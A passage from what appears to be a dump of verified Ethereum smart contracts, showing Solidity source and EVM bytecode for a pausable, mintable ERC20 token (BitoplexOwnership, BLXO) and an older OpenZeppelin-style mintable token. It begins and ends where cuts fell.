f836040518082815260200191505060405180910390a35050565b600080831415611600576000905061166d565b600082840290508284828161161157fe5b0414611668576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602181526020018061171a6021913960400191505060405180910390fd5b809150505b9291505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f2061646472657373535445414d20746f6b656e3a2063616e6e6f742067656e6572617465206d6f726520737465616d207468616e20746865206d617820737570706c7945524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e6365536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f20616464726573736f6e6c795550533a204f6e6c792074686520555053746b6e20636f6e7472616374206d61792063616c6c20746869732066756e6374696f6e45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220c8a3152de0848bcb26ddb5b4cfce0d20273aebc0715cec108ee249722672983a64736f6c63430006000033
{"success": true, "error": null, "results": {}}
472
0x453ddaef5fb28d914c53d244a62a766da9d3df56
/** *Submitted for verification at Etherscan.io on 2021-03-01 */ pragma solidity ^0.5.0; /** * @dev Ownership powers are based on amount of BitoplexOwnership (BLXO) tokens held. * Each full token represents 1 share of Bitoplex, in return * each share represents 1% of Net income. * Shares come with voting responsibility, higher amount of shares means higher voting powers. * @dev with great powers comes great responsibility. */ interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0, "SafeMath: modulo by zero"); return a % b; } } contract ERC20 is IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; function totalSupply() public view returns (uint256) { return _totalSupply; } function balanceOf(address account) public view returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public returns (bool) { _transfer(msg.sender, recipient, amount); return true; } function allowance(address owner, address spender) public view returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 value) public returns (bool) { _approve(msg.sender, spender, value); return true; } function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) { _transfer(sender, recipient, amount); _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount)); return true; } function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue)); return true; } function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint256 amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint256 value) internal { require(account != address(0), "ERC20: burn from the zero address"); _totalSupply = _totalSupply.sub(value); _balances[account] = _balances[account].sub(value); emit Transfer(account, address(0), value); } function _approve(address owner, address spender, uint256 value) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = value; emit Approval(owner, spender, value); } function _burnFrom(address account, uint256 amount) internal { _burn(account, amount); _approve(account, msg.sender, _allowances[account][msg.sender].sub(amount)); } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor (string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } } library Roles { struct Role { mapping (address => bool) bearer; } function add(Role storage role, address account) internal { require(!has(role, account), "Roles: account already has role"); role.bearer[account] = true; } function remove(Role storage role, address account) internal { require(has(role, account), "Roles: account does not have role"); role.bearer[account] = false; } function has(Role storage role, address account) internal view returns (bool) { require(account != address(0), "Roles: account is the zero address"); return role.bearer[account]; } } contract MinterRole { using Roles for Roles.Role; event MinterAdded(address indexed account); event MinterRemoved(address indexed account); Roles.Role private _minters; constructor () internal { _addMinter(msg.sender); } modifier onlyMinter() { require(isMinter(msg.sender), "MinterRole: caller does not have the Minter role"); _; } function isMinter(address account) public view returns (bool) { return _minters.has(account); } function addMinter(address account) public onlyMinter { _addMinter(account); } function renounceMinter() public { _removeMinter(msg.sender); } function _addMinter(address account) internal { _minters.add(account); emit MinterAdded(account); } function _removeMinter(address account) internal { _minters.remove(account); emit MinterRemoved(account); } } contract ERC20Mintable is ERC20, MinterRole { function mint(address account, uint256 amount) public onlyMinter returns (bool) { _mint(account, amount); return true; } } contract ERC20Burnable is ERC20 { function burn(uint256 amount) public { _burn(msg.sender, amount); } function burnFrom(address account, uint256 amount) public { _burnFrom(account, amount); } } contract Context { constructor () internal { } function _msgSender() internal view returns (address payable) { return msg.sender; } function _msgData() internal view returns (bytes memory) { this; return msg.data; } } contract PauserRole is Context { using Roles for Roles.Role; event PauserAdded(address indexed account); event PauserRemoved(address indexed account); Roles.Role private _pausers; constructor () internal { _addPauser(_msgSender()); } modifier onlyPauser() { require(isPauser(_msgSender()), "PauserRole: caller does not have the Pauser role"); _; } function isPauser(address account) public view returns (bool) { return _pausers.has(account); } function addPauser(address account) public onlyPauser { _addPauser(account); } function renouncePauser() public { _removePauser(_msgSender()); } function _addPauser(address account) internal { _pausers.add(account); emit PauserAdded(account); } function _removePauser(address account) internal { _pausers.remove(account); emit PauserRemoved(account); } } contract Pausable is Context, PauserRole { event Paused(address account); event Unpaused(address account); bool private _paused; constructor () internal { _paused = false; } function paused() public view returns (bool) { return _paused; } modifier whenNotPaused() { require(!_paused, "Pausable: paused"); _; } modifier whenPaused() { require(_paused, "Pausable: not paused"); _; } function pause() public onlyPauser whenNotPaused { _paused = true; emit Paused(_msgSender()); } function unpause() public onlyPauser whenPaused { _paused = false; emit Unpaused(_msgSender()); } } contract ERC20Pausable is ERC20, Pausable { function transfer(address to, uint256 value) public whenNotPaused returns (bool) { return super.transfer(to, value); } function transferFrom(address from, address to, uint256 value) public whenNotPaused returns (bool) { return super.transferFrom(from, to, value); } function approve(address spender, uint256 value) public whenNotPaused returns (bool) { return super.approve(spender, value); } function increaseAllowance(address spender, uint256 addedValue) public whenNotPaused returns (bool) { return super.increaseAllowance(spender, addedValue); } function decreaseAllowance(address spender, uint256 subtractedValue) public whenNotPaused returns (bool) { return super.decreaseAllowance(spender, subtractedValue); } } contract BitoplexOwnership is ERC20, ERC20Detailed, ERC20Mintable, ERC20Burnable, ERC20Pausable { constructor () public ERC20Detailed("BitoplexOwnership", "BLXO", 18) { _mint(msg.sender, 100 * (10 ** uint256(decimals()))); } }
0x608060405234801561001057600080fd5b506004361061014d5760003560e01c80636ef8d66d116100c3578063983b2d561161007c578063983b2d5614610606578063986502751461064a578063a457c2d714610654578063a9059cbb146106ba578063aa271e1a14610720578063dd62ed3e1461077c5761014d565b80636ef8d66d1461048557806370a082311461048f57806379cc6790146104e757806382dc1ec4146105355780638456cb591461057957806395d89b41146105835761014d565b8063395093511161011557806339509351146103035780633f4ba83a1461036957806340c10f191461037357806342966c68146103d957806346fbf68e146104075780635c975abb146104635761014d565b806306fdde0314610152578063095ea7b3146101d557806318160ddd1461023b57806323b872dd14610259578063313ce567146102df575b600080fd5b61015a6107f4565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561019a57808201518184015260208101905061017f565b50505050905090810190601f1680156101c75780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b610221600480360360408110156101eb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610896565b604051808215151515815260200191505060405180910390f35b61024361092d565b6040518082815260200191505060405180910390f35b6102c56004803603606081101561026f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610937565b604051808215151515815260200191505060405180910390f35b6102e76109d0565b604051808260ff1660ff16815260200191505060405180910390f35b61034f6004803603604081101561031957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506109e7565b604051808215151515815260200191505060405180910390f35b610371610a7e565b005b6103bf6004803603604081101561038957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610bec565b604051808215151515815260200191505060405180910390f35b610405600480360360208110156103ef57600080fd5b8101908080359060200190929190505050610c60565b005b6104496004803603602081101561041d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610c6d565b604051808215151515815260200191505060405180910390f35b61046b610c8a565b604051808215151515815260200191505060405180910390f35b61048d610ca1565b005b6104d1600480360360208110156104a557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610cb3565b6040518082815260200191505060405180910390f35b610533600480360360408110156104fd57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610cfb565b005b6105776004803603602081101561054b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d09565b005b610581610d7a565b005b61058b610ee9565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156105cb5780820151818401526020810190506105b0565b50505050905090810190601f1680156105f85780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6106486004803603602081101561061c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f8b565b005b610652610ff5565b005b6106a06004803603604081101561066a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611000565b604051808215151515815260200191505060405180910390f35b610706600480360360408110156106d057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611097565b604051808215151515815260200191505060405180910390f35b6107626004803603602081101561073657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061112e565b604051808215151515815260200191505060405180910390f35b6107de6004803603604081101561079257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061114b565b6040518082815260200191505060405180910390f35b606060038054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561088c5780601f106108615761010080835404028352916020019161088c565b820191906000526020600020905b81548152906001019060200180831161086f57829003601f168201915b5050505050905090565b6000600860009054906101000a900460ff161561091b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260108152602001807f5061757361626c653a207061757365640000000000000000000000000000000081525060200191505060405180910390fd5b61092583836111d2565b905092915050565b6000600254905090565b6000600860009054906101000a900460ff16156109bc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260108152602001807f5061757361626c653a207061757365640000000000000000000000000000000081525060200191505060405180910390fd5b6109c78484846111e9565b90509392505050565b6000600560009054906101000a900460ff16905090565b6000600860009054906101000a900460ff1615610a6c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260108152602001807f5061757361626c653a207061757365640000000000000000000000000000000081525060200191505060405180910390fd5b610a76838361129a565b905092915050565b610a8e610a8961133f565b610c6d565b610ae3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260308152602001806121a96030913960400191505060405180910390fd5b600860009054906101000a900460ff16610b65576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260148152602001807f5061757361626c653a206e6f742070617573656400000000000000000000000081525060200191505060405180910390fd5b6000600860006101000a81548160ff0219169083151502179055507f5db9ee0a495bf2e6ff9c91a7834c1ba4fdd244a5e8aa4e537bd38aeae4b073aa610ba961133f565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a1565b6000610bf73361112e565b610c4c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260308152602001806121fb6030913960400191505060405180910390fd5b610c568383611347565b6001905092915050565b610c6a3382611502565b50565b6000610c838260076116a090919063ffffffff16565b9050919050565b6000600860009054906101000a900460ff16905090565b610cb1610cac61133f565b61177e565b565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610d0582826117d8565b5050565b610d19610d1461133f565b610c6d565b610d6e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260308152602001806121a96030913960400191505060405180910390fd5b610d778161187f565b50565b610d8a610d8561133f565b610c6d565b610ddf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260308152602001806121a96030913960400191505060405180910390fd5b600860009054906101000a900460ff1615610e62576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260108152602001807f5061757361626c653a207061757365640000000000000000000000000000000081525060200191505060405180910390fd5b6001600860006101000a81548160ff0219169083151502179055507f62e78cea01bee320cd4e420270b5ea74000d11b0c9f74754ebdbfc544b05a258610ea661133f565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a1565b606060048054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610f815780601f10610f5657610100808354040283529160200191610f81565b820191906000526020600020905b815481529060010190602001808311610f6457829003601f168201915b5050505050905090565b610f943361112e565b610fe9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260308152602001806121fb6030913960400191505060405180910390fd5b610ff2816118d9565b50565b610ffe33611933565b565b6000600860009054906101000a900460ff1615611085576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260108152602001807f5061757361626c653a207061757365640000000000000000000000000000000081525060200191505060405180910390fd5b61108f838361198d565b905092915050565b6000600860009054906101000a900460ff161561111c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260108152602001807f5061757361626c653a207061757365640000000000000000000000000000000081525060200191505060405180910390fd5b6111268383611a32565b905092915050565b60006111448260066116a090919063ffffffff16565b9050919050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60006111df338484611a49565b6001905092915050565b60006111f6848484611c40565b61128f843361128a85600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611edc90919063ffffffff16565b611a49565b600190509392505050565b6000611335338461133085600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611f6590919063ffffffff16565b611a49565b6001905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156113ea576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f45524332303a206d696e7420746f20746865207a65726f20616464726573730081525060200191505060405180910390fd5b6113ff81600254611f6590919063ffffffff16565b600281905550611456816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611f6590919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611588576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602181526020018061226e6021913960400191505060405180910390fd5b61159d81600254611edc90919063ffffffff16565b6002819055506115f4816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611edc90919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b60008073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611727576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602281526020018061224c6022913960400191505060405180910390fd5b8260000160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16905092915050565b611792816007611fed90919063ffffffff16565b8073ffffffffffffffffffffffffffffffffffffffff167fcd265ebaf09df2871cc7bd4133404a235ba12eff2041bb89d9c714a2621c7c7e60405160405180910390a250565b6117e28282611502565b61187b823361187684600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611edc90919063ffffffff16565b611a49565b5050565b6118938160076120aa90919063ffffffff16565b8073ffffffffffffffffffffffffffffffffffffffff167f6719d08c1888103bea251a4ed56406bd0c3e69723c8a1686e017e7bbe159b6f860405160405180910390a250565b6118ed8160066120aa90919063ffffffff16565b8073ffffffffffffffffffffffffffffffffffffffff167f6ae172837ea30b801fbfcdd4108aa1d5bf8ff775444fd70256b44e6bf3dfc3f660405160405180910390a250565b611947816006611fed90919063ffffffff16565b8073ffffffffffffffffffffffffffffffffffffffff167fe94479a9f7e1952cc78f2d6baab678adc1b772d936c6583def489e524cb6669260405160405180910390a250565b6000611a283384611a2385600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611edc90919063ffffffff16565b611a49565b6001905092915050565b6000611a3f338484611c40565b6001905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611acf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001806122b46024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611b55576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806121d96022913960400191505060405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611cc6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602581526020018061228f6025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611d4c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806121866023913960400191505060405180910390fd5b611d9d816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611edc90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611e30816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611f6590919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b600082821115611f54576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525060200191505060405180910390fd5b600082840390508091505092915050565b600080828401905083811015611fe3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b611ff782826116a0565b61204c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602181526020018061222b6021913960400191505060405180910390fd5b60008260000160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b6120b482826116a0565b15612127576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f526f6c65733a206163636f756e7420616c72656164792068617320726f6c650081525060200191505060405180910390fd5b60018260000160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550505056fe45524332303a207472616e7366657220746f20746865207a65726f2061646472657373506175736572526f6c653a2063616c6c657220646f6573206e6f742068617665207468652050617573657220726f6c6545524332303a20617070726f766520746f20746865207a65726f20616464726573734d696e746572526f6c653a2063616c6c657220646f6573206e6f74206861766520746865204d696e74657220726f6c65526f6c65733a206163636f756e7420646f6573206e6f74206861766520726f6c65526f6c65733a206163636f756e7420697320746865207a65726f206164647265737345524332303a206275726e2066726f6d20746865207a65726f206164647265737345524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a265627a7a72315820694d67d4f835f5b008a32784e8055dd2566627216bf1302821635171937a2eea64736f6c63430005110032
{"success": true, "error": null, "results": {}}
473
0xe68e0a418fe12f698d4b5781452c0a61573c6f4a
pragma solidity ^0.4.18; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract Ownable { address public owner; /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { if (newOwner != address(0)) { owner = newOwner; } } } /** * @title Pausable * @dev Base contract which allows children to implement an emergency stop mechanism. */ contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; /** * @dev Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { require(!paused); _; } /** * @dev Modifier to make a function callable only when the contract is paused. */ modifier whenPaused() { require(paused); _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() onlyOwner whenNotPaused public { paused = true; emit Pause(); } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() onlyOwner whenPaused public { paused = false; emit Unpause(); } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; /** * @dev total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } /** * @title Mintable token * @dev Simple ERC20 Token example, with mintable token creation * @dev Issue: * https://github.com/OpenZeppelin/zeppelin-solidity/issues/120 */ contract MintableToken is StandardToken, Ownable { event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; modifier canMint() { require(!mintingFinished); _; } /** * @dev Function to mint tokens * @param _to The address that will receive the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) { totalSupply_ = totalSupply_.add(_amount); balances[_to] = balances[_to].add(_amount); emit Mint(_to, _amount); emit 